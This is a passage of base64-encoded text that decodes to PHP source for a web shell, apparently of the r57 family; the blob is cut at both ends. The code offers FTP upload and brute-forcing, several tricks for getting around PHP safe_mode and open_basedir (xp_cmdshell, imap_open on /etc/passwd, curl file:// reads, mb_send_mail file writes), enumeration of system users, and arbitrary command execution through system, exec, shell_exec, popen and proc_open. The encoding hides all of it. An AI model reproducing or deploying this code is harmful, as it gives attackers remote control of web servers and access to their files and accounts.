ZSddKTsJfQ0KICAgaWYoJF9QT1NUWydjbWQnXT09ImZ0cF9maWxlX3VwIikgICB7IEBmdHBfcHV0KCRjb25uZWN0aW9uLCRfUE9TVFsnZnRwX2ZpbGUnXSwkX1BPU1RbJ2xvY19maWxlJ10sJF9QT1NUWydtb2RlJ10pOwl9DQogICB9DQogIH0NCiBAZnRwX2Nsb3NlKCRjb25uZWN0aW9uKTsNCiAkX1BPU1RbJ2NtZCddID0gIiI7DQogfQ0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJmdHBfYnJ1dGUiKQ0KIHsNCiBsaXN0KCRmdHBfc2VydmVyLCRmdHBfcG9ydCkgPSBzcGxpdCgiOiIsJF9QT1NUWydmdHBfc2VydmVyX3BvcnQnXSk7DQogaWYoZW1wdHkoJGZ0cF9wb3J0KSkgeyAkZnRwX3BvcnQgPSAyMTsgfQ0KICRjb25uZWN0aW9uID0gQGZ0cF9jb25uZWN0ICgkZnRwX3NlcnZlciwkZnRwX3BvcnQsMTApOw0KIGlmKCEkY29ubmVjdGlvbikgeyBlcnIoMyk7ICRfUE9TVFsnY21kJ10gPSAiIjsgfQ0KIGVsc2UgaWYoISR1c2Vycz1nZXRfdXNlcnMoKSkgeyBlY2hvICI8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYmdjb2xvcj1XaGl0ZT48dHI+PHRkIGNsYXNzPW1haW4gYmdjb2xvcj1CbGFjaz48Zm9udCBjb2xvcj1XaGl0ZSBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48ZGl2IGFsaWduPWNlbnRlcj48Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5NiddLiI8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPiI7ICRfUE9TVFsnY21kJ10gPSAiIjsgfQ0KIEBmdHBfY2xvc2UoJGNvbm5lY3Rpb24pOw0KIH0NCmVjaG8gJHRhYmxlX3VwMzsNCmlmIChlbXB0eSgkX1BPU1RbJ2NtZCddKSYmISRzYWZlX21vZGUpIHsgJF9QT1NUWydjbWQnXT0oISR1bml4KT8oImRpciIpOigibHMgLWxpYSIpOyB9DQplbHNlIGlmKGVtcHR5KCRfUE9TVFsnY21kJ10pJiYkc2FmZV9tb2RlKXsgJF9QT1NUWydjbWQnXT0ic2FmZV9kaXIiOyB9DQplY2hvICRmb250LiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxJ10uIjogPGI+Ii4kX1BPU1RbJ2NtZCddLiI8L2I+PC9mb250PjwvdGQ+PC90cj48dHI+PHRkIGNsYXNzPW1haW4+PGI+PGRpdiBhbGlnbj1jZW50ZXI+PHRleHRhcmVhIG5hbWU9cmVwb3J0IGNvbHM9MTIxIHJvd3M9MTU+IjsNCg0KZnVuY3Rpb24gZG96aXAxKCRsaW5rLCRmaWxlKQ0Kew0KICAgJGZwID0gQGZvcGVuKCRsaW5rLCJyIik7DQogICB3aGlsZSghZmVvZigkZnApKQ0KICAgew0KICAgICAgICRjb250Lj0gZnJlYWQoJGZwLDEwMjQpOw0KICAgfQ0KICAgZmNsb3NlKCRmcCk7DQoNCiAgICRmcDIgPSBAZm9wZW4oJGZpbGUsInciKTsNCiAgIGZ3cml0ZSgkZnAyLCRjb250KTsNCiAgIGZjbG9zZSgkZnAyKTsNCn0NCmlmIChpc3NldCgkX1BPU1RbJ2Z1bnppcCddKSkNCnsNCmRvemlwMSgkX1BPU1RbJ2Z1bnppcCddLCRfUE9TVFsnZnppcCddKTsNCn0NCmlmKGVtcHR5KCRfUE9TVFsncm9vdCddKSl7DQp9IGVsc2Ugew0KICAgJHJvb3QgPSAkX1BPU1RbJ3Jvb3QnXTsgfQ0KDQoNCg0KDQogICRjID0gMDsgJEQgPSBhcnJheSgpOw0KICBzZXRfZXJyb3JfaGFuZGxlcigiZWgiKTsNCg0KICAkY2hhcnMgPSAiXy0uMDEyMzQ1Njc4OTBhYmNkZWZnaGlqa2xubW9wcXJzdHV2d3h5ekFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaIjsNCg0KICBmb3IoJGk9MDsgJGkgPCBzdHJsZW4oJGNoYXJzKTsgJGkrKyl7DQogICRwYXRoID0ieyRyb290fSIuKChzdWJzdHIoJHJvb3QsLTEpIT0iLyIpID8gIi8iIDogTlVMTCkuInskY2hhcnNbJGldfSI7DQoNCiAgJHByZXZEID0gJERbY291bnQoJEQpLTFdOw0KICBnbG9iKCRwYXRoLiIqIik7DQoNCiAgICAgICAgaWYoJERbY291bnQoJEQpLTFdICE9ICRwcmV2RCl7DQoNCiAgICAgICAgZm9yKCRqPTA7ICRqIDwgc3RybGVuKCRjaGFycyk7ICRqKyspew0KDQogICAgICAgICAgICRwYXRoID0ieyRyb290fSIuKChzdWJzdHIoJHJvb3QsLTEpIT0iLyIpID8gIi8iIDogTlVMTCkuInskY2hhcnNbJGldfXskY2hhcnNbJGpdfSI7DQoNCiAgICAgICAgICAgJHByZXZEMiA9ICREW2NvdW50KCREKS0xXTsNCiAgICAgICAgICAgZ2xvYigkcGF0aC4iKiIpOw0KDQogICAgICAgICAgICAgIGlmKCREW2NvdW50KCREKS0xXSAhPSAkcHJldkQyKXsNCg0KDQogICAgICAgICAgICAgICAgIGZvcigkcD0wOyAkcCA8IHN0cmxlbigkY2hhcnMpOyAkcCsrKXsNCg0KICAgICAgICAgICAgICAgICAkcGF0aCA9Inskcm9vdH0iLigoc3Vic3RyKCRyb290LC0xKSE9Ii8iKSA/ICIvIiA6IE5VTEwpLiJ7JGNoYXJzWyRpXX17JGNoYXJzWyRqXX17JGNoYXJzWyRwXX0iOw0KDQogICAgICAgICAgICAgICAgICRwcmV2RDMgPSAkRFtjb3VudCgkRCktMV07DQogICAgICAgICAgICAgICAgIGdsb2IoJHBhdGguIioiKTsNCg0KICAgICAgICAgICAgICAgICAgICBpZigkRFtjb3VudCgkRCktMV0gIT0gJHByZXZEMyl7DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICBmb3IoJHI9MDsgJHIgPCBzdHJsZW4oJGNoYXJzKTsgJHIrKyl7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgJHBhdGggPSJ7JHJvb3R9Ii4oKHN1YnN0cigkcm9vdCwtMSkhPSIvIikgPyAiLyIgOiBOVUxMKS4ieyRjaGFyc1skaV19eyRjaGFyc1skal19eyRjaGFyc1skcF19eyRjaGFyc1skcl19IjsNCiAgICAgICAgICAgICAgICAgICAgICAgZ2xvYigkcGF0aC4iKiIpOw0KDQogICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgIH0NCg0KICAgICAgICB9DQoNCiAgICAgICAgfQ0KDQogIH0NCg0KICAkRCA9IGFycmF5X3VuaXF1ZSgkRCk7DQoNCg0KDQoNCiAgZm9yZWFjaCgkRCBhcyAkaXRlbSkNCiAgaWYoaXNzZXQoJF9SRVFVRVNUWydyb290J10pKQ0KICBlY2hvICJ7JGl0ZW19XG4iOw0KDQoNCg0KDQogIGZ1bmN0aW9uIGVoKCRlcnJubywgJGVycnN0ciwgJGVycmZpbGUsICRlcnJsaW5lKXsNCg0KICAgICBnbG9iYWwgJEQsICRjLCAkaTsNCiAgICAgcHJlZ19tYXRjaCgiL1NBRkVcIE1PREVcIFJlc3RyaWN0aW9uXCBpblwgZWZmZWN0XC4uKndob3NlXCB1aWRcIGlzKC4qKWlzXCBub3RcIGFsbG93ZWRcIHRvXCBhY2Nlc3MoLiopb3duZWQgYnkgdWlkKC4qKS8iLCAkZXJyc3RyLCAkbyk7DQogICAgIGlmKCRvKXsgJERbJGNdID0gJG9bMl07ICRjKys7fQ0KDQogIH0NCg0KaWYoJHNhZmVfbW9kZSkNCnsNCiBzd2l0Y2goJF9QT1NUWydjbWQnXSkNCiB7DQogY2FzZSAnc2FmZV9kaXInOg0KICAkZD1AZGlyKCRkaXIpOw0KICBpZiAoJGQpDQogICB7DQogICB3aGlsZSAoZmFsc2UhPT0oJGZpbGU9JGQtPnJlYWQoKSkpDQogICAgew0KICAgICBpZiAoJGZpbGU9PSIuIiB8fCAkZmlsZT09Ii4uIikgY29udGludWU7DQogICAgIEBjbGVhcnN0YXRjYWNoZSgpOw0KICAgICBsaXN0ICgkZGV2LCAkaW5vZGUsICRpbm9kZXAsICRubGluaywgJHVpZCwgJGdpZCwgJGlub2RldiwgJHNpemUsICRhdGltZSwgJG10aW1lLCAkY3RpbWUsICRic2l6ZSkgPSBzdGF0KCRmaWxlKTsNCiAgICAgaWYoISR1bml4KXsNCiAgICAgZWNobyBkYXRlKCJkLm0uWSBIOmkiLCRtdGltZSk7DQogICAgIGlmKEBpc19kaXIoJGZpbGUpKSBlY2hvICIgIDxESVI+ICI7IGVsc2UgcHJpbnRmKCIlIDdzICIsJHNpemUpOw0KICAgICB9DQogICAgIGVsc2V7DQogICAgICRvd25lciA9IEBwb3NpeF9nZXRwd3VpZCgkdWlkKTsNCiAgICAgJGdyZ2lkID0gQHBvc2l4X2dldGdyZ2lkKCRnaWQpOw0KICAgICBlY2hvICRpbm9kZS4iICI7DQogICAgIGVjaG8gcGVybXMoQGZpbGVwZXJtcygkZmlsZSkpOw0KICAgICBwcmludGYoIiUgNGQgJSA5cyAlIDlzICU3cyAiLCRubGluaywkb3duZXJbJ25hbWUnXSwkZ3JnaWRbJ25hbWUnXSwkc2l6ZSk7DQogICAgIGVjaG8gZGF0ZSgiZC5tLlkgSDppICIsJG10aW1lKTsNCiAgICAgfQ0KICAgICBlY2hvICIkZmlsZVxuIjsNCiAgICB9DQogICAkZC0+Y2xvc2UoKTsNCiAgIH0NCiAgZWxzZSBlY2hvICRsYW5nWyRsYW5ndWFnZS5fdGV4dDI5XTsNCiBicmVhazsNCiAgY2FzZSAndGVzdDEnOg0KICAkY2kgPSBAY3VybF9pbml0KCJmaWxlOi8vIi4kX1BPU1RbJ3Rlc3QxX2ZpbGUnXS4iIik7DQogICRjZiA9IEBjdXJsX2V4ZWMoJGNpKTsNCiAgZWNobyAkY2Y7DQogIGJyZWFrOw0KICBjYXNlICd0ZXN0Mic6DQogIEBpbmNsdWRlKCRfUE9TVFsndGVzdDJfZmlsZSddKTsNCiAgYnJlYWs7DQogIGNhc2UgJ3Rlc3Q0JzoNCiAgaWYoZW1wdHkoJF9QT1NUWyd0ZXN0NF9wb3J0J10pKSB7ICRfUE9TVFsndGVzdDRfcG9ydCddID0gIjE0MzMiOyB9DQogICRkYiA9IEBtc3NxbF9jb25uZWN0KCdsb2NhbGhvc3QsJy4kX1BPU1RbJ3Rlc3Q0X3BvcnQnXSwkX1BPU1RbJ3Rlc3Q0X21sJ10sJF9QT1NUWyd0ZXN0NF9tcCddKTsNCiAgaWYoJGRiKQ0KICAgew0KICAgaWYoQG1zc3FsX3NlbGVjdF9kYigkX1BPU1RbJ3Rlc3Q0X21kJ10sJGRiKSkNCiAgICB7DQogICAgIEBtc3NxbF9xdWVyeSgiZHJvcCB0YWJsZSByNTdfdGVtcF90YWJsZSIsJGRiKTsNCiAgICAgQG1zc3FsX3F1ZXJ5KCJjcmVhdGUgdGFibGUgcjU3X3RlbXBfdGFibGUgKCBzdHJpbmcgVkFSQ0hBUiAoNTAwKSBOVUxMKSIsJGRiKTsNCiAgICAgQG1zc3FsX3F1ZXJ5KCJpbnNlcnQgaW50byByNTdfdGVtcF90YWJsZSBFWEVDIG1hc3Rlci5kYm8ueHBfY21kc2hlbGwgJyIuJF9QT1NUWyd0ZXN0NF9maWxlJ10uIiciLCRkYik7DQogICAgICRyZXMgPSBtc3NxbF9xdWVyeSgic2VsZWN0ICogZnJvbSByNTdfdGVtcF90YWJsZSIsJGRiKTsNCiAgICAgd2hpbGUoKCRyb3c9QG1zc3FsX2ZldGNoX3JvdygkcmVzKSkpDQogICAgICB7DQogICAgICBlY2hvICRyb3dbMF0uIlxyXG4iOw0KICAgICAgfQ0KICAgIEBtc3NxbF9xdWVyeSgiZHJvcCB0YWJsZSByNTdfdGVtcF90YWJsZSIsJGRiKTsNCiAgICB9DQogICAgZWxzZSBlY2hvICJbLV0gRVJST1IhIENhbid0IHNlbGVjdCBkYXRhYmFzZSI7DQogICBAbXNzcWxfY2xvc2UoJGRiKTsNCiAgIH0NCiAgZWxzZSBlY2hvICJbLV0gRVJST1IhIENhbid0IGNvbm5lY3QgdG8gTVNTUUwgc2VydmVyIjsNCiAgYnJlYWs7DQogIGNhc2UgJ3Rlc3Q1JzoNCiAgaWYgKEBmaWxlX2V4aXN0cygnL3RtcC9tYl9zZW5kX21haWwnKSkgQHVubGluaygnL3RtcC9tYl9zZW5kX21haWwnKTsNCiAgJGV4dHJhID0gIi1DICIuJF9QT1NUWyd0ZXN0NV9maWxlJ10uIiAtWCAvdG1wL21iX3NlbmRfbWFpbCI7DQogIEBtYl9zZW5kX21haWwoTlVMTCwgTlVMTCwgTlVMTCwgTlVMTCwgJGV4dHJhKTsNCiAgJGxpbmVzID0gZmlsZSAoJy90bXAvbWJfc2VuZF9tYWlsJyk7DQogIGZvcmVhY2ggKCRsaW5lcyBhcyAkbGluZSkgeyBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGxpbmUpLiJcclxuIjsgfQ0KICBicmVhazsNCiAgY2FzZSAndGVzdDYnOg0KICAkc3RyZWFtID0gQGltYXBfb3BlbignL2V0Yy9wYXNzd2QnLCAiIiwgIiIpOw0KICAkZGlyX2xpc3QgPSBAaW1hcF9saXN0KCRzdHJlYW0sIHRyaW0oJF9QT1NUWyd0ZXN0Nl9maWxlJ10pLCAiKiIpOw0KICBmb3IgKCRpID0gMDsgJGkgPCBjb3VudCgkZGlyX2xpc3QpOyAkaSsrKSBlY2hvICRkaXJfbGlzdFskaV0uIlxyXG4iOw0KICBAaW1hcF9jbG9zZSgkc3RyZWFtKTsNCiAgYnJlYWs7DQogIGNhc2UgJ3Rlc3Q3JzoNCiAgJHN0cmVhbSA9IEBpbWFwX29wZW4oJF9QT1NUWyd0ZXN0N19maWxlJ10sICIiLCAiIik7DQogICRzdHIgPSBAaW1hcF9ib2R5KCRzdHJlYW0sIDEpOw0KICBlY2hvICRzdHI7DQogIEBpbWFwX2Nsb3NlKCRzdHJlYW0pOw0KICBicmVhazsNCiAgY2FzZSAndGVzdDgnOg0KICBpZihAY29weSgiY29tcHJlc3MuemxpYjovLyIuJF9QT1NUWyd0ZXN0OF9maWxlMSddLCAkX1BPU1RbJ3Rlc3Q4X2ZpbGUyJ10pKSBlY2hvICRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTgnXTsNCiAgZWxzZSBlY2hvICRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTknXTsNCiAgYnJlYWs7DQpjYXNlICdjVVJMJzoNCiAgIGlmKGVtcHR5KCRfUE9TVFsnU25JcEVyX1NBJ10pKXsNCg0KDQp9IGVsc2Ugew0KJGN1cmw9JF9QT1NUWydTbklwRXJfU0EnXTsNCiRjaCA9Y3VybF9pbml0KCJmaWxlOi8vLyIuJGN1cmwuIlx4MDAvLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vIi5fX0ZJTEVfXyk7DQpjdXJsX2V4ZWMoJGNoKTsNCnZhcl9kdW1wKGN1cmxfZXhlYygkY2gpKTsNCmVjaG8gIjwvdGV4dGFyZWE+PC9DRU5URVI+IjsNCg0KfQ0KYnJlYWs7DQpjYXNlICdjb3B5JzoNCg0KaWYoZW1wdHkoJHNubikpew0KaWYoZW1wdHkoJF9HRVRbJ3NubiddKSl7DQppZihlbXB0eSgkX1BPU1RbJ3NubiddKSl7DQoNCn0gZWxzZSB7DQokdTFwPSRfUE9TVFsnc25uJ107DQp9DQp9IGVsc2Ugew0KJHUxcD0kX0dFVFsnc25uJ107DQp9DQp9DQogICR1MXA9IiI7IA0KJHR5bWN6YXM9IiI7IA0KDQoNCiR0ZW1wPXRlbXBuYW0oJHR5bWN6YXMsICJjeCIpOw0KDQppZihjb3B5KCJjb21wcmVzcy56bGliOi8vIi4kc25uLCAkdGVtcCkpew0KJHpyb2RsbyA9IGZvcGVuKCR0ZW1wLCAiciIpOw0KJHRla3N0ID0gZnJlYWQoJHpyb2RsbywgZmlsZXNpemUoJHRlbXApKTsNCmZjbG9zZSgkenJvZGxvKTsNCmVjaG8gIiIuaHRtbHNwZWNpYWxjaGFycygkdGVrc3QpLiIiOw0KdW5saW5rKCR0ZW1wKTsNCmVjaG8gIjwvdGV4dGFyZWE+PC9DRU5URVI+IjsNCn0NCmJyZWFrOw0KY2FzZSAnaW5pX3Jlc3RvcmUnOg0KIGlmKGVtcHR5KCRfUE9TVFsnaW5pX3Jlc3RvcmUnXSkpew0KfSBlbHNlIHsNCg0KJGluaT0kX1BPU1RbJ2luaV9yZXN0b3JlJ107DQplY2hvIGluaV9nZXQoInNhZmVfbW9kZSIpOw0KZWNobyBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTsNCnJlcXVpcmVfb25jZSgiJGluaSIpOw0KaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIpOw0KaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOw0KZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsNCmVjaG8gaW5pX2dldCgib3Blbl9iYXNlZGlyIik7DQppbmNsdWRlKCRfR0VUWyJzcyJdKTsNCmVjaG8gIjwvdGV4dGFyZWE+PC9DRU5URVI+IjsNCn0NCmJyZWFrOw0KY2FzZSAnZ2xvYic6DQpmdW5jdGlvbiByZWdfZ2xvYigpDQp7DQokY2hlbWluPSRfUkVRVUVTVFsnZ2xvYiddOw0KJGZpbGVzID0gZ2xvYigiJGNoZW1pbioiKTsNCg0KDQpmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGVuYW1lKSB7DQoNCiAgIGVjaG8gIiRmaWxlbmFtZVxuIjsNCg0KfQ0KfQ0KDQppZihpc3NldCgkX1JFUVVFU1RbJ2dsb2InXSkpDQp7DQpyZWdfZ2xvYigpOw0KfQ0KDQpicmVhazsNCmNhc2UgJ3plbmQnOg0KIGlmKGVtcHR5KCRfUE9TVFsnemVuZCddKSl7DQp9IGVsc2Ugew0KDQokZGV6ZW5kPSRfUE9TVFsnemVuZCddOw0KaW5jbHVkZSgkX1BPU1RbJ3plbmQnXSk7DQpwcmludF9yKCRHTE9CQUxTKTsNCnJlcXVpcmVfb25jZSgiJGRlemVuZCIpOw0KZWNobyAiPC90ZXh0YXJlYT48L3A+IjsNCn0NCmJyZWFrOw0KICBjYXNlICdwbHVnaW4nOg0KICBpZiAoJF9QT1NUWydwbHVnaW4nXSApew0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3IoJHVpZD0wOyR1aWQ8NjAwMDA7JHVpZCsrKXsgICAvL2NhdCAvZXRjL3Bhc3N3ZA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhcmEgPSBwb3NpeF9nZXRwd3VpZCgkdWlkKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJGFyYSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUgKGxpc3QgKCRrZXksICR2YWwpID0gZWFjaCgkYXJhKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIiR2YWw6IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAiXG4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvdGV4dGFyZWE+IjsNCg0KICAgICAgICAgICAgIH0NCiAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgJ2NvbW1hbmQnOg0KICAgICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydjb21tYW5kJ10pKSB7DQoNCiAgICAgICAgICAgICAgICBpZiAoJG1ldGhvZD09InN5c3RlbSIpIHsNCiAgICAgICAgICAgICAgICBzeXN0ZW0oJF9QT1NUWydjb21tYW5kJ10pOw0KICAgICAgICAgICAgICAgIGVjaG8gIkZ1bmN0aW9ucyBzeXN0ZW0iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpZiAoJG1ldGhvZD09InBhc3N0aHJ1Iikgew0KICAgICAgICAgICAgICAgIHBhc3N0aHJ1KCRfUE9TVFsnY29tbWFuZCddKTsNCiAgICAgICAgICAgICAgICBlY2hvICJGdW5jdGlvbnMgcGFzc3RocnUiOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpZiAoJG1ldGhvZD09ImV4ZWMiKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkc3RyaW5nID0gZXhlYygkX1BPU1RbJ2NvbW1hbmQnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRzdHJpbmc7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJGdW5jdGlvbnMgZXhlYyI7DQoNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgaWYgKCRtZXRob2Q9PSJzaGVsbF9leGVjIikgew0KICAgICAgICAgICAgICAgICRzdHJpbmcgPSBzaGVsbF9leGVjKCRfUE9TVFsnY29tbWFuZCddKTsNCiAgICAgICAgICAgICAgICBlY2hvICRzdHJpbmc7DQogICAgICAgICAgICAgICAgZWNobyAiRnVuY3Rpb25zIHNoZWxsX2V4ZWMiOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpZiAoJG1ldGhvZD09InBvcGVuIikgew0KICAgICAgICAgICAgICAgICRwcCA9IHBvcGVuKCRfUE9TVFsnY29tbWFuZCddLCAncicpOw0KICAgICAgICAgICAgICAgICRyZWFkID0gZnJlYWQoJHBwLCAyMDk2KTsNCiAgICAgICAgICAgICAgICBlY2hvICRyZWFkOw0KICAgICAgICAgICAgICAgIHBjbG9zZSgkcHApOw0KICAgICAgICAgICAgICAgIGVjaG8gIkZ1bmN0aW9ucyBwb3BlbiI7DQogICAgICAgICAgICAgICAgICB9DQoNCgkgIGlmICgkbWV0aG9kPT0icHJvY19vcGVuIikgew0KDQoNCiRjb21tYW5kICA9IGlzc2V0KCRfUE9TVFsnY29tbWFuZCddKSAgPyAkX1BPU1RbJ2NvbW1hbmQnXSAgOiAnJzsNCg0KDQoNCg0Kc2Vzc2lvbl9zdGFydCgpOw0KDQoNCg0KICAgIGlmICghZW1wdHkoJGNvbW1hbmQpKSB7DQogICAgICAgIGlmICgoJGkgPSBhcnJheV9zZWFyY2goJF9QT1NUWydjb21tYW5kJ10sICRfU0VTU0lPTlsnaGlzdG9yeSddKSkgIT09IGZhbHNlKQ0KICAgICAgICAgICAgdW5zZXQoJF9TRVNTSU9OWydoaXN0b3J5J11bJGldKTsNCg0KICAgICAgICBhcnJheV91bnNoaWZ0KCRfU0VTU0lPTlsnaGlzdG9yeSddLCAkX1BPU1RbJ2NvbW1hbmQnXSk7DQoNCiAgICAgICAgJF9TRVNTSU9OWydvdXRwdXQnXSAuPSAnJCAnIC4gJF9QT1NUWydjb21tYW5kJ10gLiAiXG4iOw0KDQogICAgICAgIGlmIChlcmVnKCdeW1s6Ymxhbms6XV0qY2RbWzpibGFuazpdXSokJywgJF9QT1NUWydjb21tYW5kJ10pKSB7DQogICAgICAgICAgICAkX1NFU1NJT05bJ2N3ZCddID0gcmVhbHBhdGgoJGluaVsnc2V0dGluZ3MnXVsnaG9tZS1kaXJlY3RvcnknXSk7DQogICAgICAgIH0gZWxzZWlmIChlcmVnKCdeW1s6Ymxhbms6XV0qY2RbWzpibGFuazpdXSsoW147XSspJCcsICRfUE9TVFsnY29tbWFuZCddLCAkcmVncykpIHsNCg0KICAgICAgICAgICAgaWYgKCRyZWdzWzFdezB9ID09ICcvJykgew0KICAgICAgICAgICAgICAgICRuZXdfZGlyID0gJHJlZ3NbMV07DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICRuZXdfZGlyID0gJF9TRVNTSU9OWydjd2QnXSAuICcvJyAuICRyZWdzWzFdOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICB3aGlsZSAoc3RycG9zKCRuZXdfZGlyLCAnLy4vJykgIT09IGZhbHNlKQ0KICAgICAgICAgICAgICAgICRuZXdfZGlyID0gc3RyX3JlcGxhY2UoJy8uLycsICcvJywgJG5ld19kaXIpOw0KDQogICAgICAgICAgICB3aGlsZSAoc3RycG9zKCRuZXdfZGlyLCAnLy8nKSAhPT0gZmFsc2UpDQogICAgICAgICAgICAgICAgJG5ld19kaXIgPSBzdHJfcmVwbGFjZSgnLy8nLCAnLycsICRuZXdfZGlyKTsNCg0KICAgICAgICAgICAgd2hpbGUgKHByZWdfbWF0Y2goJ3wvXC5cLig/IVwuKXwnLCAkbmV3X2RpcikpDQogICAgICAgICAgICAgICAgJG5ld19kaXIgPSBwcmVnX3JlcGxhY2UoJ3wvP1teL10rL1wuXC4oPyFcLil8JywgJycsICRuZXdfZGlyKTsNCg0KICAgICAgICAgICAgaWYgKCRuZXdfZGlyID09ICcnKSAkbmV3X2RpciA9ICcvJzsNCg0KICAgICAgICAgICAgaWYgKEBjaGRpcigkbmV3X2RpcikpIHsNCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2N3ZCddID0gJG5ld19kaXI7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnb3V0cHV0J10gLj0gImNkOiBjb3VsZCBub3QgY2hhbmdlIHRvOiAkbmV3X2RpclxuIjsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICB9IGVsc2VpZiAodHJpbSgkX1BPU1RbJ2NvbW1hbmQnXSkgPT0gJ2V4aXQnKSB7DQogICAgICAgICAgICBsb2dvdXQoKTsNCiAgICAgICAgfSBlbHNlIHsNCg0KICAgICAgICAgICAgY2hkaXIoJF9TRVNTSU9OWydjd2QnXSk7DQoNCiAgICAgICAgICAgIGlmICghaW5pX2dldCgnc2FmZV9tb2RlJykpIHsNCiAgICAgICAgICAgICAgICBwdXRlbnYoJ1JPV1M9JyAuICRyb3dzKTsNCiAgICAgICAgICAgICAgICBwdXRlbnYoJ0NPTFVNTlM9JyAuICRjb2x1bW5zKTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgLyogQWxpYXMgZXhwYW5zaW9uLiAqLw0KICAgICAgICAgICAgJGxlbmd0aCA9IHN0cmNzcG4oJF9QT1NUWydjb21tYW5kJ10sICIgXHQiKTsNCiAgICAgICAgICAgICR0b2tlbiA9IHN1YnN0cigkX1BPU1RbJ2NvbW1hbmQnXSwgMCwgJGxlbmd0aCk7DQogICAgICAgICAgICBpZiAoaXNzZXQoJGluaVsnYWxpYXNlcyddWyR0b2tlbl0pKQ0KICAgICAgICAgICAgICAgICRjb21tYW5kID0gJGluaVsnYWxpYXNlcyddWyR0b2tlbl0gLiBzdWJzdHIoJF9QT1NUWydjb21tYW5kJ10sICRsZW5ndGgpOw0KDQogICAgICAgICAgICAkaW8gPSBhcnJheSgpOw0KICAgICAgICAgICAgJHAgPSBwcm9jX29wZW4oJF9QT1NUWydjb21tYW5kJ10sDQogICAgICAgICAgICAgICAgICAgICAgICAgICBhcnJheSgxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDIgPT4gYXJyYXkoJ3BpcGUnLCAndycpKSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICRpbyk7DQoNCiAgICAgICAgICAgIC8qIFJlYWQgb3V0cHV0IHNlbnQgdG8gc3Rkb3V0LiAqLw0KICAgICAgICAgICAgd2hpbGUgKCFmZW9mKCRpb1sxXSkpIHsNCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ291dHB1dCddIC49IGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJGlvWzFdKSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRU5UX0NPTVBBVCwgJ1VURi04Jyk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAvKiBSZWFkIG91dHB1dCBzZW50IHRvIHN0ZGVyci4gKi8NCiAgICAgICAgICAgIHdoaWxlICghZmVvZigkaW9bMl0pKSB7DQogICAgICAgICAgICAgICAgJF9TRVNTSU9OWydvdXRwdXQnXSAuPSBodG1sc3BlY2lhbGNoYXJzKGZnZXRzKCRpb1syXSksDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVOVF9DT01QQVQsICdVVEYtOCcpOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBmY2xvc2UoJGlvWzFdKTsNCiAgICAgICAgICAgIGZjbG9zZSgkaW9bMl0pOw0KICAgICAgICAgICAgcHJvY19jbG9zZSgkcCk7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoZW1wdHkoJF9TRVNTSU9OWydoaXN0b3J5J10pKSB7DQogICAgICAgICRqc19jb21tYW5